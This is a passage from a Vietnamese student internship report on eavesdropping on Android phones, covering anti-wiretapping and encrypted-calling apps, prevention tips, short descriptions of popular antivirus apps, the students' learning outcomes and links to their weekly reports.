Với phiên bản Premium (có tính phí) hỗ trợ tính năng chống nghe lén và

ghi âm cuộc gọi. Ứng dụng sẽ quét và thông báo cho người dùng nếu phát

hiện ra phần mềm gián điệp cài trên máy.

MoTel Pro (Anti-wiretapping)

Các phần mềm gián điệp có khả năng nghe lén và ghi âm lại các cuộc gọi

nhưng nó không thể thoát khỏi sự rà soát của MoTel. Khi bạn thực hiện

cuộc gọi, MoTel Pro sẽ phát hiện ra những ứng dụng có chức năng ghi âm

cuộc gọi và tự động thông báo cho người dùng.

Redphone

Redphone là ứng dụng gọi điện qua Internet (Wi-Fi hoặc 3G) với chức

năng mã hóa cuộc gọi, đảm bảo cuộc trò chuyện trên điện thoại của bạn

không bị nghe lén. Tuy nhiên, để đạt được hiệu quả bảo mật cao nhất, ứng

dụng yêu cầu cả máy gọi và máy nghe đều cài Redphone. Người dùng

Redphone có thể dùng số điện thoại thông thường để gọi và nhận cuộc gọi.

Page 81: Bao cao thuc tap

GVHD: Võ Đỗ Thắng Đề tài: Nghiên cứu nghe lén trên android

82

Khi bạn gọi điện cho một người cũng cài Redphone, ứng dụng sẽ thông báo

là bạn có thể mã hóa cuộc gọi.

TextSecure Private Messenger

TextSecure là phần mềm thích hợp cho những người có nhiều tin nhắn bí mật.

TextSecure có lựa chọn khóa ứng dụng bằng mật khẩu, mã hóa các cuộc trò chuyện

giữa hai người dùng. Ứng dụng cũng cho phép thay đổi màu đèn thông báo.

7.3 Cách phòng chống nghe lén

Sau khi đã tìm ra được các phần mềm nghe lén thì ta tiến hành gỡ cài đặt

chúng; bước này đơn giản nên sẽ không hướng dẫn. Tôi xin hướng dẫn thêm

một số cách đề phòng bị nghe lén.

- Không cho phép cài đặt các phần mềm lạ, không rõ nguồn gốc. Tốt nhất là

không cho người lạ mượn điện thoại. Cài đặt Bảo mật

Page 82: Bao cao thuc tap

GVHD: Võ Đỗ Thắng Đề tài: Nghiên cứu nghe lén trên android

83

- Khi cài đặt phần mềm, trò chơi. Bạn chắc rằng đã kiểm soát chặt chẽ quyền

mà bạn cấp phát.

Đây là game Flappy Bird đã bị cài mã độc nên có các quyền lạ như ghi âm,

chụp ảnh….

Cách cuối cùng là khôi phục lại cài đặt gốc của nhà sản xuất. Cài đặt Sao

lưu và đặt lại

-

Page 83: Bao cao thuc tap

GVHD: Võ Đỗ Thắng Đề tài: Nghiên cứu nghe lén trên android

84

- Cách an toàn hơn hết là cài đặt phần mềm Virus cho chiếc điện thoại

android yêu quý của bạn.

AVG Antivirus Security

AVG Antivirus an ninh được coi là chống virus miễn phí

hàng đầu cho Android vì nó đã được tải về từ Google Play

Store và cài đặt trên hơn 100 triệu thiết bị Android. Nó bảo vệ

điện thoại di động và máy tính bảng của bạn khỏi các virus gây

hại, phần mềm độc hại, phần mềm gián điệp, và tin nhắn văn

bản. Nó giúp bạn giữ dữ liệu của bạn an toàn hơn bao giờ hết.

Avast Mobile Security & Antivirus

Avast! là chống virus miễn phí tốt nhất cho tất cả các thiết bị

bao gồm trên máy tính PC, máy tính bảng hoặc điện thoại

thông minh của bạn. Avast! Mobile Security&Antivirus là

ứng dụng cho Android đã được tải về hơn 50 triệu lần trên

các thiết bị Android và đã được xem xét bởi nhiều trang web

hàng đầu trên Internet.

360 Security - Antivirus FREE

Phần mềm 360 Mobile Security là một ứng dụng bảo mật di

động trực tuyến hàng đầu được thiết kế để bảo vệ điện thoại

Android của bạn chống lại các virus mới nhất, các malware, lỗ

hổng hệ thống và rò rỉ riêng tư.

Các tính năng chính:

Quét và loại bỏ virus

Bảo vệ thời gian thực

Sửa chữa các lỗ hổng

Cố vấn bảo mật

4. Kaspersky Internet Security

Page 84: Bao cao thuc tap

GVHD: Võ Đỗ Thắng Đề tài: Nghiên cứu nghe lén trên android

85

Kaspersky Internet Security dành cho Android cung cấp

các công nghệ bảo mật di động mới nhất. Điều này bao gồm

bảo vệ chống trộm cắp và chống virus cho Andorid. Tất cả

các tính năng của Kaspersky Mobile Security và Kaspersky

Tablet Security đang có sẵn trong một giải pháp duy nhất và

được sử dụng được tối ưu hóa đặc biệt cho điện thoại thông

minh và máy tính bảng.

TrustGo Antivirus & Mobile Security

TrustGo là một ứng dụng bảo mật di động miễn phí 100%

đã được xếp hạng 1 của AV-TEST cung cấp. TrustGo bảo

vệ bạn khỏi phần mềm độc hại và virus bao gồm cả các ứng

dụng mà có thể ăn cắp sự riêng tư cá nhân của bạn, nhận

dạng và tiêu diệt các mối nguy hiểm cho thiết bị Android

của bạn. Ngoài ra, TrustGo cung cấp "Tìm điện thoại của

tôi" tính năng bao gồm địa điểm từ xa, khóa, báo động và

"Candid Camera" kẻ trộm ID (qua email), các công cụ hệ thống và bảo mật trình

duyệt web.

Bitdefender Antivirus Free

Bitdefender Antivirus Free là một giải pháp mạnh mẽ và

nhanh chóng sử dụng công nghệ quét đám mây để thiết bị

Android của bạn an toàn hơn bao giờ hết. Nó sẽ không làm

chậm hoặc pin của thiết bị Android của bạn.

Các tính năng chính:

Bitdefender Antivirus miễn phí cung cấp cho bạn rất cần

thiết bảo vệ chống virus chống lại tất cả các mối đe dọa Android

Tự động quét virus khi phát hiện các mối đe dọa

Chế độ quét thông minh

Cung cấp Autopilot tự động quét bất kỳ ứng dụng mới được tải về điện thoại Android

của bạn để kiểm tra virus.

Lookout Security & Antivirus

Page 85: Bao cao thuc tap

GVHD: Võ Đỗ Thắng Đề tài: Nghiên cứu nghe lén trên android

86

Lookout Security & Antivirus cung cấp sự bảo vệ cần thiết để

điện thoại và máy tính bảng chống lại phần mềm độc hại, virus,

mất mát và trộm cắp của bạn.

Zoner AntiVirus Free

Zoner AntiVirus Free là một giải pháp bảo mật và diệt virus hiện

đại cho thiết bị của bạn. Nó cung cấp bảo vệ chống lại virus,

dialers, trojan, sâu, phần mềm gián điệp, phần mềm quảng cáo và

phần mềm độc hại khác cũng như cuộc gọi điện thoại và nhắn tin

bảo vệ.

Norton Mobile Security

Norton Mobile Security mới với chống virus bảo vệ điện thoại

và máy tính bảng từ trộm cắp, mất mát, phần mềm độc hại và

virus Android của bạn. Bạn từ xa có thể xác định vị trí điện

thoại bị mất hoặc bị đánh cắp của bạn.

Các tính năng

Sử dụng tin nhắn văn bản từ xa khóa điện thoại của bạn bị mất hoặc bị đánh cắp

Quét và loại bỏ các ứng dụng và cập nhật có khả năng gây tổn hại hoặc làm chậm thiết

bị của bạn

Thẻ SD quét các mối đe dọa

McAfee Antivirus & Security

McAfee Mobile Security bảo vệ điện thoại Android hoặc

máy tính bảng với giải thưởng chống virus, bảo mật và

phần mềm bảo mật của McAfee của bạn. McAfee Mobile

Security cung cấp xác định vị trí, báo động và sao lưu / khôi

phục lại cho miễn phí.

Page 86: Bao cao thuc tap

GVHD: Võ Đỗ Thắng Đề tài: Nghiên cứu nghe lén trên android

87

8. Kết quả quá trình thực tập, Kinh nghiệm thu được Những kiến thức lý thuyết đã được củng cố:

Tìm hiểu về lịch sử, quá trình phát triển, kiến trúc của hệ điều hành

Android.

Tìm hiểu về hệ điều hành Kali Linux.

Tìm hiểu về các lỗ hổng bảo mật của Windows (qua lớp học System

Hacking) và Android.

Có kiến thêm kiến thức về mã độc và malware trên Android.

Những kỹ năng thực hành đã được học thêm:

Thực hiện cài đặt Android trên máy ảo

Cài đặt Kali Linux, sử dụng để khai thác các lỗ hổng bảo mật của

Windows và Android.

Thi lấy chứng chỉ System Hacking của trung tâm Athena.

Thực hiện cài mã độc vào phần mêm. Sau đó cài vào điện thoại chạy

Android.

Những kinh nghiệm thực tiễn đã tích lũy được:

Qua gần 2 tháng thực tập, bản thân em đã thu hoạch nhiều kinh nghiệm quý báu.

Thứ nhất đó là các kĩ năng về chuyên môn, em đã được học và cũng cố các kiến thức

mới bên cạnh các kiến thức nền tảng. Thứ hai là quá trình thực tập trong môi trường

doanh nghiệp đã cho em làm quen dần để không bỡ ngỡ trong quá trình đi làm sau

này, thông qua các kĩ năng giao tiếp và ứng xử. Ngoài ra, qua các buổi quay clip

phần nào đã giúp cho em củng cố thêm kỉ năng mềm thể hiện trước ống kính.

9. Link báo cáo

9.1 Ngô Hoàng Phương – 51104460 Báo cáo tuần

Tuần 1:

http://www.slideshare.net/hoangphuongngo9/tm-hiu-v-h-iu-hnh-android

https://www.youtube.com/watch?v=0pXG0Qf8pgc

https://www.youtube.com/watch?v=nK-oYZ-k23s

Tuần 2:

http://www.slideshare.net/hoangphuongngo9/bao-cao-tuan-2

https://www.youtube.com/watch?v=85ez4lcefck

Tuần 3:

http://www.slideshare.net/hoangphuongngo9/bao-cao-tuan-4-37841173

https://www.youtube.com/watch?v=aWZK06Mcnfc

Clip giới thiệu cá nhân:

https://www.youtube.com/watch?v=Bbd4OAFZmMw

Page 87: Bao cao thuc tap

GVHD: Võ Đỗ Thắng Đề tài: Nghiên cứu nghe lén trên android

88

9.2 Võ Thành Đạt - 51100769 Báo cáo tuần

Tuần 1:

http://www.slideshare.net/vothanhdat1/bao-cao-cuoi-tuan-1

https://www.youtube.com/watch?v=N-B3kSq1Okk

Tuần 2:

http://www.slideshare.net/vothanhdat1/tao-ma-doc-tren-kalilinux

http://www.youtube.com/watch?v=7tL9FAjeA8U

Tuần 3:

http://www.slideshare.net/vothanhdat1/tao-ma-doc-ten-vps

Clip giới thiệu cá nhân:

https://www.youtube.com/watch?v=M4jd-6bC0WM

9.3 Clip cuồi kì – Thu hoạch, thuận lợi, khó khăn. xxxxxxxxxxxxxxxxxxxxxxxxx

10. Tài liệu tham khảo http://www.tinhte.vn/threads/phan-mem-phat-hien-va-chong-nghe-len-dien-thoai-cho-

android.2320991/

http://topthuthuat.com/mobile/top-10-phan-mem-diet-virus-tot-nhat-cho-android

http://tech.blog.framgia.com/vn/?p=1452

http://vi.wikipedia.org/wiki/Android

http://www.quantrimang.com.vn/metasploit-cong-cu-khai-thac-lo-hong-14147

http://www.google.com.vn/giaidap/thread?tid=3047a365ae2638c8